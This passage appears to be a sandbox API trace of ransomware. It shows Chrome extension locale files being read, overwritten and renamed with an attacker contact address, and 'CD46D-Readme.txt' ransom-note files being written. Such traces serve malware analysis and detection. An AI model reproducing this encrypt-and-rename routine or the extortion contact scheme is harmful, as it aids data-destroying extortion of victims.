Seed=0xe39fc14 | out: Seed=0xe39fc14) returned 0x704348d2 [0193.362] RtlRandomEx (in: Seed=0xe39fc14 | out: Seed=0xe39fc14) returned 0x1f6f5f16 [0193.362] RtlRandomEx (in: Seed=0xe39fc14 | out: Seed=0xe39fc14) returned 0x451e4a73 [0193.362] RtlRandomEx (in: Seed=0xe39fc14 | out: Seed=0xe39fc14) returned 0x6dec9731 [0193.362] RtlRandomEx (in: Seed=0xe39fc14 | out: Seed=0xe39fc14) returned 0x7baa2ec7 [0193.362] RtlRandomEx (in: Seed=0xe39fc14 | out: Seed=0xe39fc14) returned 0x1e37f486 [0193.362] RtlRandomEx (in: Seed=0xe39fc14 | out: Seed=0xe39fc14) returned 0x5e4486ed [0193.362] RtlRandomEx (in: Seed=0xe39fc14 | out: Seed=0xe39fc14) returned 0x6adbc8d3 [0193.362] RtlRandomEx (in: Seed=0xe39fc14 | out: Seed=0xe39fc14) returned 0x3214b603 [0193.362] RtlRandomEx (in: Seed=0xe39fc14 | out: Seed=0xe39fc14) returned 0x4a2b5033 [0193.362] RtlRandomEx (in: Seed=0xe39fc14 | out: Seed=0xe39fc14) returned 0x30ce50cf [0193.362] RtlRandomEx (in: Seed=0xe39fc14 | out: Seed=0xe39fc14) returned 0x73ac1372 [0193.362] RtlRandomEx (in: Seed=0xe39fc14 | out: Seed=0xe39fc14) returned 0x117e512f [0193.362] RtlRandomEx (in: Seed=0xe39fc14 | out: Seed=0xe39fc14) returned 0x5eb72a6f [0193.362] RtlRandomEx (in: Seed=0xe39fc14 | out: Seed=0xe39fc14) returned 0x62db5550 [0193.362] RtlRandomEx (in: Seed=0xe39fc14 | out: Seed=0xe39fc14) returned 0x6e60757c [0193.362] RtlRandomEx (in: Seed=0xe39fc14 | out: Seed=0xe39fc14) returned 0x4453e3bb [0193.362] RtlRandomEx (in: Seed=0xe39fc14 | out: Seed=0xe39fc14) returned 0x2f91709f [0193.362] RtlRandomEx (in: Seed=0xe39fc14 | out: Seed=0xe39fc14) returned 0x5c101ce6 [0193.362] RtlRandomEx (in: Seed=0xe39fc14 | out: Seed=0xe39fc14) returned 0x2902837a [0193.375] ReadFile (hFile=0x8fc, lpBuffer=0x12dc6930, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0xe39fc04, lpOverlapped=0x0) [0193.376] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.376] WriteFile (in: hFile=0x8fc, lpBuffer=0x12dd3138*, nNumberOfBytesToWrite=0xde, lpNumberOfBytesWritten=0xe39fc00, lpOverlapped=0x0 | out: lpBuffer=0x12dd3138*, lpNumberOfBytesWritten=0xe39fc00*=0xde, lpOverlapped=0x0) returned 1 [0195.405] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5c38 [0195.405] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5e18 [0195.405] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5e18) returned 1 [0195.406] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12dd3138) returned 1 [0195.409] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12dc6930) returned 1 [0195.409] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9340) returned 1 [0195.409] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f90f0) returned 1 [0195.409] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6fc0 [0195.409] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.409] WriteFile (in: hFile=0x8fc, lpBuffer=0x12cf5608*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0xe39fc68, lpOverlapped=0x0 | out: lpBuffer=0x12cf5608*, lpNumberOfBytesWritten=0xe39fc68*=0x10b, lpOverlapped=0x0) returned 1 [0197.547] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5608) returned 1 [0197.547] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6ff0) returned 1 [0197.547] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5e18) returned 1 [0197.547] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6fc0) returned 1 [0197.547] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5c38) returned 1 [0197.547] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9383b0) returned 1 [0197.547] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938310) returned 1 [0197.547] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938298) returned 1 [0197.547] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd494680 [0197.547] wcscpy (in: _Dest=0xd494680, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json" [0197.547] wcscat (in: _Dest=0xd494680, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0197.547] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xe39fc20, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0197.547] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c8878 [0197.857] FlushFileBuffers (hFile=0x8fc) returned 1 [0197.871] CloseHandle (hObject=0x8fc) returned 1 [0197.945] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x9b5a30 [0197.945] wcscpy (in: _Dest=0x9b5a30, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\" [0197.945] wcscat (in: _Dest=0x9b5a30, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\CD46D-Readme.txt" [0197.945] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\cd46d-readme.txt")) returned 0xffffffff [0197.945] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11c0 [0198.034] WriteFile (in: hFile=0x11c0, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0xe39fc28, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0xe39fc28*=0x6fd, lpOverlapped=0x0) returned 1 [0198.146] CloseHandle (hObject=0x11c0) returned 1 [0198.146] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b5a30) returned 1 [0198.146] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d470c0) returned 1 Thread: id = 8099 os_tid = 0x13c8 [0189.214] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json")) returned 0x2020 [0189.214] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json", dwFileAttributes=0x20) returned 1 [0193.919] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x8a4 [0193.920] GetFileSizeEx (in: hFile=0x8a4, lpFileSize=0xbcef9c8 | out: lpFileSize=0xbcef9c8*=234) returned 1 [0193.920] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945be0 [0193.920] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945780 [0193.920] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945898 [0193.920] NtQuerySystemTime (in: CurrentTime=0xbcef928 | out: CurrentTime=0xbcef928*=132174899685094000) returned 0x0 [0193.920] RtlRandomEx (in: Seed=0xbcef934 | out: Seed=0xbcef934) returned 0x64a6f574 [0193.920] RtlRandomEx (in: Seed=0xbcef934 | out: Seed=0xbcef934) returned 0xeeef37e [0193.920] RtlRandomEx (in: Seed=0xbcef934 | out: Seed=0xbcef934) returned 0x3b752603 [0193.920] RtlRandomEx (in: Seed=0xbcef934 | out: Seed=0xbcef934) returned 0x5c211489 [0193.920] RtlRandomEx (in: Seed=0xbcef934 | out: Seed=0xbcef934) returned 0x6c1c4560 [0193.920] RtlRandomEx (in: Seed=0xbcef934 | out: Seed=0xbcef934) returned 0x104d354b [0193.920] RtlRandomEx (in: Seed=0xbcef934 | out: Seed=0xbcef934) returned 0x2f635049 [0193.920] RtlRandomEx (in: Seed=0xbcef934 | out: Seed=0xbcef934) returned 0x5294846a [0193.920] RtlRandomEx (in: Seed=0xbcef934 | out: Seed=0xbcef934) returned 0x14dd45c1 [0193.920] RtlRandomEx (in: Seed=0xbcef934 | out: Seed=0xbcef934) returned 0x418882b8 [0193.920] RtlRandomEx (in: Seed=0xbcef934 | out: Seed=0xbcef934) returned 0x1bf331ce [0193.920] RtlRandomEx (in: Seed=0xbcef934 | out: Seed=0xbcef934) returned 0xce835e3 [0193.920] RtlRandomEx (in: Seed=0xbcef934 | out: Seed=0xbcef934) returned 0x2540907c [0193.920] RtlRandomEx (in: Seed=0xbcef934 | out: Seed=0xbcef934) returned 0x3ac92fd2 [0193.920] RtlRandomEx (in: Seed=0xbcef934 | out: Seed=0xbcef934) returned 0x291e8b37 [0193.920] RtlRandomEx (in: Seed=0xbcef934 | out: Seed=0xbcef934) returned 0x7e6dc557 [0193.920] RtlRandomEx (in: Seed=0xbcef934 | out: Seed=0xbcef934) returned 0x4d815253 [0193.920] RtlRandomEx (in: Seed=0xbcef934 | out: Seed=0xbcef934) returned 0x778c149f [0193.920] RtlRandomEx (in: Seed=0xbcef934 | out: Seed=0xbcef934) returned 0x625048b5 [0193.921] RtlRandomEx (in: Seed=0xbcef934 | out: Seed=0xbcef934) returned 0x411fb130 [0193.921] RtlRandomEx (in: Seed=0xbcef934 | out: Seed=0xbcef934) returned 0x5324f771 [0193.921] RtlRandomEx (in: Seed=0xbcef934 | out: Seed=0xbcef934) returned 0x6ab3ddf6 [0193.921] RtlRandomEx (in: Seed=0xbcef934 | out: Seed=0xbcef934) returned 0x2982e15f [0193.921] RtlRandomEx (in: Seed=0xbcef934 | out: Seed=0xbcef934) returned 0x58a60681 [0193.921] RtlRandomEx (in: Seed=0xbcef934 | out: Seed=0xbcef934) returned 0x10d8f3c1 [0193.921] RtlRandomEx (in: Seed=0xbcef934 | out: Seed=0xbcef934) returned 0x27d1f2e7 [0193.921] RtlRandomEx (in: Seed=0xbcef934 | out: Seed=0xbcef934) returned 0xeba7ffb [0193.921] RtlRandomEx (in: Seed=0xbcef934 | out: Seed=0xbcef934) returned 0x1c67d7f1 [0193.921] RtlRandomEx (in: Seed=0xbcef934 | out: Seed=0xbcef934) returned 0x1577297b [0193.921] RtlRandomEx (in: Seed=0xbcef934 | out: Seed=0xbcef934) returned 0x53c7d28d [0193.921] RtlRandomEx (in: Seed=0xbcef934 | out: Seed=0xbcef934) returned 0x3cc04021 [0193.921] RtlRandomEx (in: Seed=0xbcef934 | out: Seed=0xbcef934) returned 0x4a1da237 [0193.933] ReadFile (hFile=0x8a4, lpBuffer=0x12c9d2d8, nNumberOfBytesToRead=0xea, lpNumberOfBytesRead=0xbcef924, lpOverlapped=0x0) [0193.940] SetFilePointerEx (in: hFile=0x8a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.940] WriteFile (in: hFile=0x8a4, lpBuffer=0x12ca9ae0*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0xbcef920, lpOverlapped=0x0 | out: lpBuffer=0x12ca9ae0*, lpNumberOfBytesWritten=0xbcef920*=0xea, lpOverlapped=0x0) returned 1 [0195.409] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5c10 [0195.409] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5be8 [0195.409] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5be8) returned 1 [0195.409] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12ca9ae0) returned 1 [0195.409] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c9d2d8) returned 1 [0195.410] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8faa88) returned 1 [0195.410] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9570) returned 1 [0195.410] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f7020 [0195.410] SetFilePointerEx (in: hFile=0x8a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.410] WriteFile (in: hFile=0x8a4, lpBuffer=0x12cf52c0*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0xbcef988, lpOverlapped=0x0 | out: lpBuffer=0x12cf52c0*, lpNumberOfBytesWritten=0xbcef988*=0x10b, lpOverlapped=0x0) returned 1 [0195.921] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf52c0) returned 1 [0195.921] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x928948) returned 1 [0195.921] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5be8) returned 1 [0195.921] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f7020) returned 1 [0195.921] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5c10) returned 1 [0195.921] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945780) returned 1 [0195.921] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945848) returned 1 [0195.921] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945b18) returned 1 [0195.921] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0x12cf8050 [0195.921] wcscpy (in: _Dest=0x12cf8050, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json" [0195.921] wcscat (in: _Dest=0x12cf8050, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0195.921] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xbcef940, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0195.921] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c9070 [0196.039] FlushFileBuffers (hFile=0x8a4) returned 1 [0196.045] CloseHandle (hObject=0x8a4) returned 1 [0196.111] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x9b5b78 [0196.111] wcscpy (in: _Dest=0x9b5b78, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\" [0196.111] wcscat (in: _Dest=0x9b5b78, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\CD46D-Readme.txt" [0196.111] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\cd46d-readme.txt")) returned 0xffffffff [0196.111] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13e0 [0196.210] WriteFile (in: hFile=0x13e0, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0xbcef948, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0xbcef948*=0x6fd, lpOverlapped=0x0) returned 1 [0196.211] CloseHandle (hObject=0x13e0) returned 1 [0196.211] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b5b78) returned 1 [0196.211] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d471f8) returned 1 Thread: id = 8100 os_tid = 0x13d0 [0189.214] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json")) returned 0x2020 [0189.214] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json", dwFileAttributes=0x20) returned 1 [0194.446] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x46c [0194.446] GetFileSizeEx (in: hFile=0x46c, lpFileSize=0xc08fd88 | out: lpFileSize=0xc08fd88*=295) returned 1 [0194.446] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x123, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.446] ReadFile (in: hFile=0x46c, lpBuffer=0xc08fd0c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc08fd08, lpOverlapped=0x0 | out: lpBuffer=0xc08fd0c*, lpNumberOfBytesRead=0xc08fd08*=0x4, lpOverlapped=0x0) returned 1 [0194.447] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.447] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945758 [0194.447] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9455c8 [0194.447] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9459b0 [0194.447] NtQuerySystemTime (in: CurrentTime=0xc08fce8 | out: CurrentTime=0xc08fce8*=132174899690398000) returned 0x0 [0194.447] RtlRandomEx (in: Seed=0xc08fcf4 | out: Seed=0xc08fcf4) returned 0x63184240 [0194.447] RtlRandomEx (in: Seed=0xc08fcf4 | out: Seed=0xc08fcf4) returned 0x381f15f1 [0194.447] RtlRandomEx (in: Seed=0xc08fcf4 | out: Seed=0xc08fcf4) returned 0xdfd35f9 [0194.447] RtlRandomEx (in: Seed=0xc08fcf4 | out: Seed=0xc08fcf4) returned 0x1864856d [0194.447] RtlRandomEx (in: Seed=0xc08fcf4 | out: Seed=0xc08fcf4) returned 0x4ca4e5c4 [0194.447] RtlRandomEx (in: Seed=0xc08fcf4 | out: Seed=0xc08fcf4) returned 0xf38982a [0194.447] RtlRandomEx (in: Seed=0xc08fcf4 | out: Seed=0xc08fcf4) returned 0x6175d706 [0194.448] RtlRandomEx (in: Seed=0xc08fcf4 | out: Seed=0xc08fcf4) returned 0x3b5227d2 [0194.448] RtlRandomEx (in: Seed=0xc08fcf4 | out: Seed=0xc08fcf4) returned 0x5ec6b39c [0194.448] RtlRandomEx (in: Seed=0xc08fcf4 | out: Seed=0xc08fcf4) returned 0x3ee78e9c [0194.448] RtlRandomEx (in: Seed=0xc08fcf4 | out: Seed=0xc08fcf4) returned 0x565cc1be [0194.448] RtlRandomEx (in: Seed=0xc08fcf4 | out: Seed=0xc08fcf4) returned 0xcba1cae [0194.448] RtlRandomEx (in: Seed=0xc08fcf4 | out: Seed=0xc08fcf4) returned 0xe008f01 [0194.448] RtlRandomEx (in: Seed=0xc08fcf4 | out: Seed=0xc08fcf4) returned 0x4515c5d7 [0194.448] RtlRandomEx (in: Seed=0xc08fcf4 | out: Seed=0xc08fcf4) returned 0x543932f7 [0194.448] RtlRandomEx (in: Seed=0xc08fcf4 | out: Seed=0xc08fcf4) returned 0x757c98e [0194.448] RtlRandomEx (in: Seed=0xc08fcf4 | out: Seed=0xc08fcf4) returned 0x357649fc [0194.448] RtlRandomEx (in: Seed=0xc08fcf4 | out: Seed=0xc08fcf4) returned 0x15210bc0 [0194.448] RtlRandomEx (in: Seed=0xc08fcf4 | out: Seed=0xc08fcf4) returned 0x644a362e [0194.448] RtlRandomEx (in: Seed=0xc08fcf4 | out: Seed=0xc08fcf4) returned 